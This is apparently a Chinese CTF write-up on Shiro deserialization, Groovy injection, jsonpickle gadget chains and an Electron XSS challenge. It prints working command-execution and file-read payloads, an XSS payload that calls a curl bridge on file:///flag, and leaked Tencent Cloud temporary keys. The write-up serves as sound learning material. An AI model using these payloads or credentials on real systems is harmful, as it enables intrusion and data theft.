JavaSeri
工具一把梭掉了~~~
cool~
Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能,对于任何一个应用程序,Shiro 都可以提供全面的安全管理服务。
在ApacheShiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,于是我们就可以构造Remembe Me的值,然后让其反序列化执行。
(1)加密
1.用户使用账号密码进行登录,并勾选”Remember Me”。
2、Shiro验证用户登录信息,通过后,查看用户是否勾选了”Remember Me“。
3、若勾选,则将用户身份序列化,并将序列化后的内容进行AES加密,再使用base64编码。
4、最后将处理好的内容放于cookie中的rememberMe字段。
(2)解密
1、当服务端收到来自未经身份验证的用户的请求时,会在客户端发送请求中的cookie中获取rememberMe字段内容。
2、将获取到的rememberMe字段进行base64解码,再使用AES解密。
3、最后将解密的内容进行反序列化,获取到用户身份。
由于硬编码的不安全性,我们可以获取到key,实现任意构造,从而实现反序列化命令执行
当然一把梭工具的使用只是暂时的,相信我()
asyGooGooVVVY
这是两道 Groovy 表达式注入的题,由于未接触,随意找到的一篇文章的随意一个payload通杀了,实际利用的是反射?当然,解题只是过程,真正目的还是了解这个知识点,自己去理解该表达式注入问题~
Groovy是一种基于Java平台的动态语言,其设计目标是为Java开发者提供一种更简洁、高效和灵活的方式来编写代码
而注入问题往往出现在很多JAVA项目中都会使用Groovy来动态执行命令而未进行任何校验
Java反射来绕过:
1 | java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText() |
类加载器
1 | this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("whoami").text |
Groovy直接执行
Groovy原本也是一门语言,所以也可以直接使用Groovy语言支持的方法来直接执行命令,无需使用Java语言:
1 | def command="whoami";def res=command.execute().text;res |
更多的绕过?Groovy注入 - r_0xy - 博客园
RevengeGooGooVVVY
同上咯,反射调用没有被WAF掉~
safe_bank
借着这一道题,好好分析一下jsonpickle这个模块
肯定是不能混过去了()
1 | jsonpickle can take almost any Python object and turn the object into JSON. Additionally, it can reconstitute the object back into Python. |
涵盖了jsonpickle的作用,由于python中一切皆为对象,利用该模块,可以将python中的对象序列化成json格式,或者将json格式反序列化为对象
主要审的还是unpickler.py文件
多解:
审计源码,发现builtins->exceptions
审计源码,发现glob.glob可以通过newargsex得到回显,且可以
linecache.getlines
配合newargsex实现任意文件读取,关于linecache用法在lmtx网站有进一步拓展,借助任意读取拿到源码(不rce还是拿不到flag),拿到源码后知道黑名单名称,再main.XXX.clear完成置空啦
实操
1 | import base64 |
改admin用户发现得到了一个fakeflag,关键还是在于利用jsonpickle模块的漏洞
发现可以操控user下的值实现回显
比如
{“py/object”: “main.Session”, “meta”: {“user”: {“py/function”:”main.app.config”}, “ts”: 1754137614}}
得到
1 | <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': b'\xbe\xf7[e\x88\x7f\xc1\xb0\xe4}c\x99\xaabQ\x84\n\xd2\xeb`\x1b\x12\xb2\xdd', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': None, 'JSON_SORT_KEYS': None, 'JSONIFY_PRETTYPRINT_REGULAR': None, 'JSONIFY_MIMETYPE': None, 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}> |
实现若干泄露,但大体无用,无法实现RCE,实际做题时,一直这方面纠结
在这篇文章里:https://xz.aliyun.com/news/16133
了解了一些payload,但是毫无例外都被禁用
只有两条漏网之鱼
{‘py/object’: ‘linecache.getlines’, ‘py/newargs’: [‘/flag’]}
{‘py/object’: ‘glob.glob’, ‘py/newargs’: {‘/*’}}
但实际放入也无回显?
后续补充:
对于这两条payload,形式是正确的只是有几处要注意一下
- 单引号无法被解析,需要换成双引号
- 给newargs标签传入[]而非{},这也是我为什么实际做题时出错重要一点
因此,即
{“py/object”: “linecache.getlines”, “py/newargs”: [“/flag”]}
{“py/object”: “glob.glob”, “py/newargs”: [“/*”]}
放到user下也是可以正常回显的
以下也属于很大的绕弯吧()
根据大佬们的点拨,领会了newargs与newargsex标签的区别,如果使用newargsex标签且必须利用set传入数组方可正常回显
py/newargs
- 设计目的:专门用于实现了
__new__
方法的新式类(new-style classes) - 数据结构:包含位置参数的数组
- 调用方式:
cls.__new__(cls, *args)
- 适用场景:
python
1 | # 新式类示例 |
py/newargsex
- 设计目的:专门用于旧式类(old-style classes)或需要特殊构造方式的对象
- 数据结构:包含两个元素的数组
[args, kwargs]
args
:位置参数数组kwargs
:关键字参数字典
- 调用方式:
cls(*args, **kwargs)
(直接调用类构造器) - 适用场景:
python
1 | # 旧式类示例(Python 2风格) |
(不理解无碍,都试一遍就行)set标签的作用
1 | def _restore_set(self, obj): |
当我用这样的payload,奇迹发生了
{“py/object”: “main.Session”, “meta”: {“user”: {“py/object”:””,”py/newargsex”:[{“py/set”:[“/*”],””]}, “ts”: 1754137614}}
1 | ['/run', '/bin', '/usr', '/etc', '/mnt', '/home', '/var', '/srv', '/sys', '/proc', '/sbin', '/lib64', '/media', '/opt', '/lib', '/dev', '/tmp', '/boot', '/root', '/flag', '/entrypoint.sh', '/readflag', '/app'] |
同理回头看一下另一个未被禁用的payload,如果顺利可以拿到源码了
{“py/object”: “main.Session”, “meta”: {“user”: {“py/object”:”linecache.getlines”,”py/newargsex”:[{“py/set”:[“/app/app.py”]},””]}, “ts”: 1754137614}
1 | from flask import Flask, request, make_response, render_template, redirect, url_for |
json.loads这一步操作直接干废了硬编码绕过()哎
知道了黑名单我们可以尝试clear这个函数了,直接清空
{“py/object”:”main.FORBIDDEN.clear”}
这个时候可以直接
{“py/object”:”builtins.exec”,”py/newargs”:”payload”}
无回显渲染文件随便打了,拿flag
另一个思路源自审计源码
发现调用了这个函数util.untranslate_module_name
跟进发现
相比聪明的你发现了禁用了builtins但是没有禁用exceptions
直接RCE了()
fakexss
该题给了一个客户端和一个exe文件,主要思路是用7-z对该exe文件进行解包,然后找到app.asar文件放到解包工具拿到源码
main.js
1 | const { app, BrowserWindow, ipcMain } = require('electron'); |
preload.js
1 | const { contextBridge, ipcRenderer } = require('electron'); |
package.json
1 | { |
index.html
1 | <!DOCTYPE html> |
于此同时我们看看客户端,存在一个登录框,随便输进去(存在admin用户?)
打开网页源代码,拿到接口
/api/avatar-credentials
随便截取一小段,什么,凭证?云?
1 | console.error('设置背景失败:', error); |
1 | async function saveBio() { |
还发现这么一个接口
还有一些接口,等会再说吧
先试试是否拿到凭证
拿到~
发现是CAM,腾讯云
1 | {"Token":"vihAq3WZnC5D4386DcFhDRst2TpEzBiad0548517f4d8333b241816c7f2d5c4c8zgbWAQAeji4_wqTYKhjj_oPtoDyYJkJyCnukKHM0jxqalohk6jygMHmZdCyZw8Dv91zqw_5kL308TkgcxWknnnBGLZHqMb6zfyk0zTGCblEklGrg-WdDdcS3TkXFyHexlPB27i8RTMtedVuKnG03ZILvB2Xb2FhKJihsPeOBBkMrMUo1Z30B7RwKsWaETemts6VVQNs1mDMf3D2T2Gc90fyNn9dKYmzirOkGDGX5gYauC8hjToK_lqvOzomO1Bk7tazCCfGRE2P0J1rhA6H22y0H-re3m9RIFjGVVpfU11Dw9y9PxdDffoX49U2BXHX8DSqMtXzXDbqyEoAEUysYSL2OwYD3nYMGF_aODOu6ykBtWimItK7Y-b9vKHwXpR5jHIkVHzmigr-stPE5TPogKwA5hAZ1sZReDBxIcs6N5XER3c7buTSuy2UvvmK1Nk204eqfITEj3P237SYi8y1V5Q","TmpSecretId":"AKIDEyXie6dtIDBZUIQoHdeEEPL16jEczDj0affEDTHHQoj2rHnPOSWpzCoxeWe8vlkJ","TmpSecretKey":"1ucvNBHZP3sYGn00htb+DELvjuTahIQaCQWqBlEVDVM=","auth":"IntcInZlcnNpb25cIjpcIjIuMFwiLFwic3RhdGVtZW50XCI6W3tcImVmZmVjdFwiOlwiYWxsb3dcIixcImFjdGlvblwiOltcImNvczpQdXRPYmplY3RcIl0sXCJyZXNvdXJjZVwiOltcInFjczo6Y29zOmFwLWd1YW5nemhvdTp1aWQvMTM2MDgwMjgzNDp0ZXN0LTEzNjA4MDI4MzQvcGljdHVyZS80MzQzZGY1YS0xNGJmLTQxOGUtYjI5Yi0wZjRmYWVjNDBmZmYucG5nXCJdLFwiQ29uZGl0aW9uXCI6e1wibnVtZXJpY19lcXVhbFwiOntcImNvczpyZXF1ZXN0LWNvdW50XCI6NX0sXCJudW1lcmljX2xlc3NfdGhhbl9lcXVhbFwiOntcImNvczpjb250ZW50LWxlbmd0aFwiOjEwNDg1NzYwfX19LHtcImVmZmVjdFwiOlwiYWxsb3dcIixcImFjdGlvblwiOltcImNvczpHZXRCdWNrZXRcIl0sXCJyZXNvdXJjZVwiOltcInFjczo6Y29zOmFwLWd1YW5nemhvdTp1aWQvMTM2MDgwMjgzNDp0ZXN0LTEzNjA4MDI4MzQvKlwiXX1dfSI="} |
解码一下可以看到权限()
换个python2
ai错脚本进行连接感觉python稳定一点()
1 | # -*- coding: utf-8 -*- |
直接拿到所有文件,在末尾出现好东西
1 | www/ (Size: 0 bytes) |
直接url读了嘿嘿
https://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/flag.txt
1 | fake{看看www/server_bak.js对象} |
得嘞假的,看看网页源码吧
1 | const express = require('express'); |
nepn3pctf-game2025,拿到admin的账号了
大体思路是找xss,去访问最开始解包的
1 | ipcMain.handle('curl', async (event, url) => { |
连接到之后可以拿到源码
和我们最开始解包获得的东西比较,应该是要用xss 去调用electronAPI暴露在外面的那个curl的接口
利用admin的管理员账号我们可以实现什么呢
我们可以设置主页界面,/api/save-bio作为回显处
1 | app.get('/', (req, res) => { |
直接拼接存在过滤
不出网,借助/api/save-bio回显
payload
1 | {"key":"x\" onload=\"document.cookie='connect.sid=s%3A2IyVvrMrKpsxYeAVvr-6XkcgtPLfzeag.J%2F%2B0qDmfzAt23SC4Z9OHyjSIIcyWaOSVkPH276dCBBE';window.electronAPI.curl('file:///flag').then(data=>{console.log(data);fetch('/api/save-bio', {method: 'POST', headers: {'Content-Type': 'application/json',},body: JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""} |
然后访问/api/bot,可以在uuid处拿到flag
由于环境问题导致flag依旧不出,哎,妙妙xss,有种打老外比赛的美感